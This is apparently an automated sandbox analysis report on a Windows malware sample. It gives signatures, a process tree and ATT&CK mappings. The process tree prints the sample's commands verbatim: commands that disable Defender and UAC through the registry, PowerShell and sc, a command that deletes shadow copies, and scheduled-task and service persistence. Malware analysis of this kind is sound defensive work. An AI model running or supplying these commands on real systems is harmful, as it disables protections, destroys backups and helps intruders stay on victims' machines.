Analysis
- max time kernel
150s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
04/07/2026, 12:30
General
- Target x_plfg.exe
- Size 6.7MB
- Sample260704-pps39sbs9j
- SHA256 73bc96a40e4f90b597ecd958a027e825b5ed4567d37516f6aa703f06cc7250a0
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 2 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
- UAC bypass 3 TTPs 3 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Adds policy Run key to start application 2 TTPs 4 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Boot or Logon Autostart Execution: Port Monitors 1 TTPs 2 IoCs
Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Creates new service(s) 2 TTPs
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops desktop.ini file(s) 64 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 5 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 8 IoCs
- Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies data under HKEY_USERS 7 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Drops startup file
- Impair Defenses: Safe Mode Boot
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"3⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config wscsvc start=disabled 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config wscsvc start=disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop wscsvc 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop wscsvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /SC ONLOGON /TN "CoreCore" /TR "\"C:\Users\Admin\AppData\Roaming\Ms32.exe\"" /RL HIGHEST2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /SC ONLOGON /TN "CoreCore" /TR "\"C:\Users\Admin\AppData\Roaming\Ms32.exe\"" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc create "HelperMonitor" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "HelperMonitor" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\sc.exesc create "HelperMonitor" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "HelperMonitor"3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc start "HelperMonitor" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\sc.exesc start "HelperMonitor"3⤵
- Launches sc.exe
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=H_WN-xTp7oU2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7fff3beec188,0x7fff3beec194,0x7fff3beec1a03⤵
- Loads dropped DLL
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1784,i,14362872436210849363,5313329040936516355,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1540,i,6848708412731103745,13749778503876296504,262144 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=2588 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2220,i,12765431790760545055,12055967679070291558,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:133⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3664,i,7817407010338992379,6265551342735403617,2097152 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3684,i,6237269270999022637,10338450621022364787,2097152 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:13⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,6999572792962396642,15465576875333866588,2097152 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4244,i,6820858180357311486,6054384295583011794,2097152 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:93⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3572,i,16319224043693519488,1044186481704748194,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3964,i,17726013947795874548,4897384625585307501,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1784,i,7199059690638971552,12096634705265356995,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4332,i,4683422123750511638,4857543151257965200,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4336,i,746046950239438427,888088028999586507,524288 --field-trial-handle=2592,i,4397055599724162613,7694110974443655587,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:143⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
- Modifies Windows Defender TamperProtection settings
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul2⤵
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\Ms32.exe"C:\Users\Admin\AppData\Roaming\Ms32.exe"1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
6Active Setup
1Port Monitors
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
6Windows Service
6Event Triggered Execution
2AppInit DLLs
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
6Active Setup
1Port Monitors
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
6Windows Service
6Event Triggered Execution
2AppInit DLLs
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
7Disable or Modify Tools
5Safe Mode Boot
1Indicator Removal
2File Deletion
2Modify Registry
9Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
s_remove_18.svg
bg_pattern_RHP.png
bg_patterns_header.png
illustrations.png
illustrations_retina.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
ui-strings.js
example_icons.png
example_icons2x.png
icons.png
icons_ie8.gif
icons_retina.png
new_icons.png
new_icons_retina.png
ui-strings.js
main.css
bun.png
cstm_brand_preview.png
cstm_brand_preview2x.png
dd_arrow_small.png
dd_arrow_small2x.png
nub.png
share_icons.png
share_icons2x.png
ui-strings.js
ui-strings.js
DisplayLanguageNames.en_US_POSIX.txt
identity_helper.Sparse.Beta.msix.DATA
identity_helper.Sparse.Canary.msix.DATA
identity_helper.Sparse.Dev.msix.DATA
stable.identity_helper.exe.manifest
identity_helper.Sparse.Stable.msix
D3DCompiler_47.dll
identity_helper.Sparse.Beta.msix.DATA
Advertising
Analytics
Content
Cryptomining
Entities
Fingerprinting
Other
Social
Advertising
Analytics
Content
Cryptomining
Fingerprinting
Other
Social
Staging
identity_helper.Sparse.Canary.msix
identity_helper.Sparse.Dev.msix
identity_helper.Sparse.Internal.msix
libglesv2.dll
v8_context_snapshot.bin
desktop.ini
concrt140.dll
vccorlib140.dll
am_NEUTER.pak
msvcp140.dll
vcruntime140.dll
vcruntime140_1.dll
invalid32x32.gif
MSOUC_F_COL.HXK
MSOUC_K_COL.HXK
SIST02.XSL
YAHOO.NO.XML
misc.exe
vlc.mo
edbtmp.log
cversions.2.db
{3D53861A-4A14-4F2F-BF08-B04D38DAA7C9}.2.ver0x0000000000000001.db
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
dotnet-hostfxr-7.0.16-win-x64.msi
dotnet-host-8.0.15-win-x64.msi
vc_runtimeAdditional_x64.msi
vc_runtimeAdditional_x86.msi
Local State
2156d5fb-480c-4e53-9125-196148fd9b9a.dmp
cc0ad540-90c3-49e7-8ed3-71ecd72d1fed.dmp
settings.dat
settings.dat
settings.dat
the-real-index
data_0
index
data_0
data_1
data_1
data_2
data_2
data_3
data_3
index
EdgeEDropSQLite.db
000003.log
CURRENT
CURRENT
LOG
LOG.old
LOG.old
ExtensionActivityComp
